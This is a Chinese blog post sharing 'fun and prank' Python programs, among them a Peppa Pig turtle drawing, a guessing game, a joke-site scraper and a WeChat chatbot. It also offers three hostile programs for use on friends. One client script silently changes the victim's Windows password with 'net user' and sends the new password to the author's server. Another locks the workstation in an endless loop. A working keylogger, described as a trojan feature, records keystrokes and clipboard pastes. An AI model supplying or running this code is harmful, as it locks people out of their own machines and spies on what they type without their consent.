为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!
分享一:"啥是佩奇?"让Python语言告诉你
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
用Python代码创作一副佩奇:
-
coding:utf-8
- import turtle as t
- t.pensize(4)
- t.hideturtle()
- t.colormode(255)
- t.color((255,155,192),“pink”)
- t.setup(840,500)
- t.speed(10)
- #鼻子
- t.pu()
- t.goto(-100,100)
- t.pd()
- t.seth(-30)
- t.begin_fill()
- a=0.4
- for i in range(120):
- if 0<=i<30 or 60<=i<90:
- a=a+0.08
- t.lt(3) #向左转3度
- t.fd(a) #向前走a的步长
- else:
- a=a-0.08
- t.lt(3)
- t.fd(a)
- t.end_fill()
- t.pu()
- t.seth(90)
- t.fd(25)
- t.seth(0)
- t.fd(10)
- t.pd()
- t.pencolor(255,155,192)
- t.seth(10)
- t.begin_fill()
- t.circle(5)
- t.color(160,82,45)
- t.end_fill()
- t.pu()
- t.seth(0)
- t.fd(20)
- t.pd()
- t.pencolor(255,155,192)
- t.seth(10)
- t.begin_fill()
- t.circle(5)
- t.color(160,82,45)
- t.end_fill()
- #头
- t.color((255,155,192),“pink”)
- t.pu()
- t.seth(90)
- t.fd(41)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.begin_fill()
- t.seth(180)
- t.circle(300,-30)
- t.circle(100,-60)
- t.circle(80,-100)
- t.circle(150,-20)
- t.circle(60,-95)
- t.seth(161)
- t.circle(-300,15)
- t.pu()
- t.goto(-100,100)
- t.pd()
- t.seth(-30)
- a=0.4
- for i in range(60):
- if 0<=i<30 or 60<=i<90:
- a=a+0.08
- t.lt(3) #向左转3度
- t.fd(a) #向前走a的步长
- else:
- a=a-0.08
- t.lt(3)
- t.fd(a)
- t.end_fill()
- #耳朵
- t.color((255,155,192),“pink”)
- t.pu()
- t.seth(90)
- t.fd(-7)
- t.seth(0)
- t.fd(70)
- t.pd()
- t.begin_fill()
- t.seth(100)
- t.circle(-50,50)
- t.circle(-10,120)
- t.circle(-50,54)
- t.end_fill()
- t.pu()
- t.seth(90)
- t.fd(-12)
- t.seth(0)
- t.fd(30)
- t.pd()
- t.begin_fill()
- t.seth(100)
- t.circle(-50,50)
- t.circle(-10,120)
- t.circle(-50,56)
- t.end_fill()
- #眼睛
- t.color((255,155,192),“white”)
- t.pu()
- t.seth(90)
- t.fd(-20)
- t.seth(0)
- t.fd(-95)
- t.pd()
- t.begin_fill()
- t.circle(15)
- t.end_fill()
- t.color(“black”)
- t.pu()
- t.seth(90)
- t.fd(12)
- t.seth(0)
- t.fd(-3)
- t.pd()
- t.begin_fill()
- t.circle(3)
- t.end_fill()
- t.color((255,155,192),“white”)
- t.pu()
- t.seth(90)
- t.fd(-25)
- t.seth(0)
- t.fd(40)
- t.pd()
- t.begin_fill()
- t.circle(15)
- t.end_fill()
- t.color(“black”)
- t.pu()
- t.seth(90)
- t.fd(12)
- t.seth(0)
- t.fd(-3)
- t.pd()
- t.begin_fill()
- t.circle(3)
- t.end_fill()
- #腮
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(-95)
- t.seth(0)
- t.fd(65)
- t.pd()
- t.begin_fill()
- t.circle(30)
- t.end_fill()
- #嘴
- t.color(239,69,19)
- t.pu()
- t.seth(90)
- t.fd(15)
- t.seth(0)
- t.fd(-100)
- t.pd()
- t.seth(-80)
- t.circle(30,40)
- t.circle(40,80)
- #身体
- t.color(“red”,(255,99,71))
- t.pu()
- t.seth(90)
- t.fd(-20)
- t.seth(0)
- t.fd(-78)
- t.pd()
- t.begin_fill()
- t.seth(-130)
- t.circle(100,10)
- t.circle(300,30)
- t.seth(0)
- t.fd(230)
- t.seth(90)
- t.circle(300,30)
- t.circle(100,3)
- t.color((255,155,192),(255,100,100))
- t.seth(-135)
- t.circle(-80,63)
- t.circle(-150,24)
- t.end_fill()
- #手
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(-40)
- t.seth(0)
- t.fd(-27)
- t.pd()
- t.seth(-160)
- t.circle(300,15)
- t.pu()
- t.seth(90)
- t.fd(15)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.seth(-10)
- t.circle(-20,90)
- t.pu()
- t.seth(90)
- t.fd(30)
- t.seth(0)
- t.fd(237)
- t.pd()
- t.seth(-20)
- t.circle(-300,15)
- t.pu()
- t.seth(90)
- t.fd(20)
- t.seth(0)
- t.fd(0)
- t.pd()
- t.seth(-170)
- t.circle(20,90)
- #脚
- t.pensize(10)
- t.color((240,128,128))
- t.pu()
- t.seth(90)
- t.fd(-75)
- t.seth(0)
- t.fd(-180)
- t.pd()
- t.seth(-90)
- t.fd(40)
- t.seth(-180)
- t.color(“black”)
- t.pensize(15)
- t.fd(20)
- t.pensize(10)
- t.color((240,128,128))
- t.pu()
- t.seth(90)
- t.fd(40)
- t.seth(0)
- t.fd(90)
- t.pd()
- t.seth(-90)
- t.fd(40)
- t.seth(-180)
- t.color(“black”)
- t.pensize(15)
- t.fd(20)
- #尾巴
- t.pensize(4)
- t.color((255,155,192))
- t.pu()
- t.seth(90)
- t.fd(70)
- t.seth(0)
- t.fd(95)
- t.pd()
- t.seth(0)
- t.circle(70,20)
- t.circle(10,330)
- t.circle(70,30)
- t.done()
效果图如下:
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
分享二:一个可以套路别人的python小程序
程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。
使用方法:
首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。
然后,让你的朋友在他的电脑上运行客户端 client.py。
此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。
嗯,然后你朋友的电脑密码就只有你自己知道了~
上代码:
client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect((‘172.17.21.56’, 8080))
user = getpass.getuser()
psd = ‘’
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen([‘net’, ‘User’, user, psd])
phone.send(psd.encode(‘utf-8’))
back_msg = phone.recv(1024)
phone.close()
server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind((‘172.17.21.56’, 8080))
phone.listen(5)
print(‘starting…’)
conn, addr = phone.accept()
print(conn)
print(‘client addr’, addr)
print(‘ready to read msg’)
client_msg = conn.recv(1024)
print(‘client msg: %s’ % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()
分享三:一段Python 恶搞代码
代码运行后windows将无限锁屏
代码如下:from ctypes import *
while True:
user32 = windll.LoadLibrary(‘user32.dll’)
user32.LockWorkStation()
分享四:一款python代码的数字猜谜小游戏
代码如下:
-
import random
-
rang1 = int(input(“请设置本局游戏的最小值:”))
-
rang2 = int(input(“请设置本局游戏的最大值:”))
-
num = random.randint(rang1,rang2)
-
guess = “guess”
-
print(“数字猜谜游戏!”)
-
i = 0
-
while guess != num:
-
i += 1
-
guess = int(input(“请输入你猜的数字:”))
-
if guess == num:
-
print(“恭喜,你猜对了!”)
-
elif guess < num:
-
print(“你猜的数小了…”)
-
else:
-
print(“你猜的数大了…”)
-
print(“你总共猜了%d” %i + “次”,end = ‘’)
-
print(",快和你朋友较量一下…")
分享五、一段好玩的Python爬虫代码
这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码: -
-- coding: utf-8 --
-
import urllib2
-
import re
-
class QSBK:
-
def init(self):
-
self.pageIndex = 1
-
self.user_agent = ‘Mozilla/5.0 (Windows NT 10.0; WOW64)’
-
self.headers = {‘User-Agent’: self.user_agent}
-
self.stories = []
-
存放程序是否继续运行的变量
-
self.enable = False
-
传入某一页的索引获得页面代码
-
def getPage(self, pageIndex):
-
try:
-
url = ‘http://www.qiushibaike.com/hot/page/’ + str(pageIndex)
-
request = urllib2.Request(url, headers = self.headers)
-
response = urllib2.urlopen(request)
-
pageCode = response.read().decode(‘utf-8’)
-
return pageCode
-
except urllib2.URLError, e:
-
if hasattr(e, “reason”):
-
print u"连接糗事百科失败,错误原因", e.reason
-
return None
-
传入某一页代码,返回本页不带图片的段子列表
-
def getPageItems(self, pageIndex):
-
pageCode = self.getPage(pageIndex)
-
if not pageCode:
-
print “页面加载失败。。。”
-
return None
-
pattern = re.compile(’
. ?(.?)
. ?“content”>(.?) .?number">(.?)</.?number">(.?)</.’,re.S) -
items = re.findall(pattern, pageCode)
-
pageStories = []
-
for item in items:
-
replaceBR = re.compile(’
’) -
text = re.sub(replaceBR,"\n",item[1])
-
pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])
-
return pageStories
-
加载并提取页面内容,加入到列表中
-
def loadPage(self):
-
if self.enable == True:
-
if len(self.stories) < 2:
-
pageStories = self.getPageItems(self.pageIndex)
-
if pageStories:
-
self.stories.append(pageStories)
-
self.pageIndex += 1
-
调用该方法,回车打印一个段子
-
def getOneStory(self, pageStories, page):
-
for story in pageStories:
-
input = raw_input()
-
self.loadPage()
-
if input == “Q”:
-
self.enable = False
-
return
-
print u"第%d页\t发布人:%s\t赞:%s\t评论:%s\n%s" %(page,story[0],story[2],story[3],story[1])
-
def start(self):
-
print u"正在读取糗事百科,按回车查看新段子,Q退出"
-
self.enable = True
-
self.loadPage()
-
nowPage = 0
-
while self.enable:
-
if len(self.stories) > 0:
-
pageStories = self.stories[0]
-
nowPage += 1
-
del self.stories[0]
-
self.getOneStory(pageStories, nowPage)
-
spider = QSBK()
-
spider.start()
分享六、木马程序常用的键盘记录功能实现
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
代码如下:
-- coding: utf-8 --
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()
获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
将进程ID存入变量中
process_id = “%d” % pid.value
申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
打印
print
print “[ PID:%s-%s-%s]” % (process_id,executable.value,windows_title.value)
print
关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
定义击键监听事件函数
def KeyStroke(event):
global current_window
检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
函数调用
get_current_process()
检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == “V”:
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print “[PASTE]-%s” % (pasted_value),
else:
print “[%s]” % event.Key,
循环监听下一个击键事件
return True
创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
分享七、用Python写一个机器人陪自己聊聊天吧
用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。
一、需要的工具
1——Python。写代码的工具;
2——itchat库。第三方库,用来登录微信,接收并回复微信好友信息;
3——图灵机器人。第三方接口,我们本次使用的机器人;
二、代码如下:
1.准备
导入需要使用的第三方库
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
2.获取来自机器人的回复信息
在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
3.接受来自好友之间的对话信息
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
4.接受来自微信群里面的对话信息
如果不需要机器人在群聊里聊天,可以删除这块代码。
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
5.运行
最后一步,登录微信,并运行机器人。
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
看完文章后,小伙伴们是不是跃跃欲试了呢?心动不如行动赶紧行动起来吧!Python编程语言真的不难!又很强大!抓紧试试吧!
更多精彩内容:
https://www.yaoruanwen.com/n/476948.html
https://www.yaoruanwen.com/n/476943.html
https://www.yaoruanwen.com/n/476939.html
https://www.yaoruanwen.com/n/476929.html
https://www.yaoruanwen.com/n/476859.html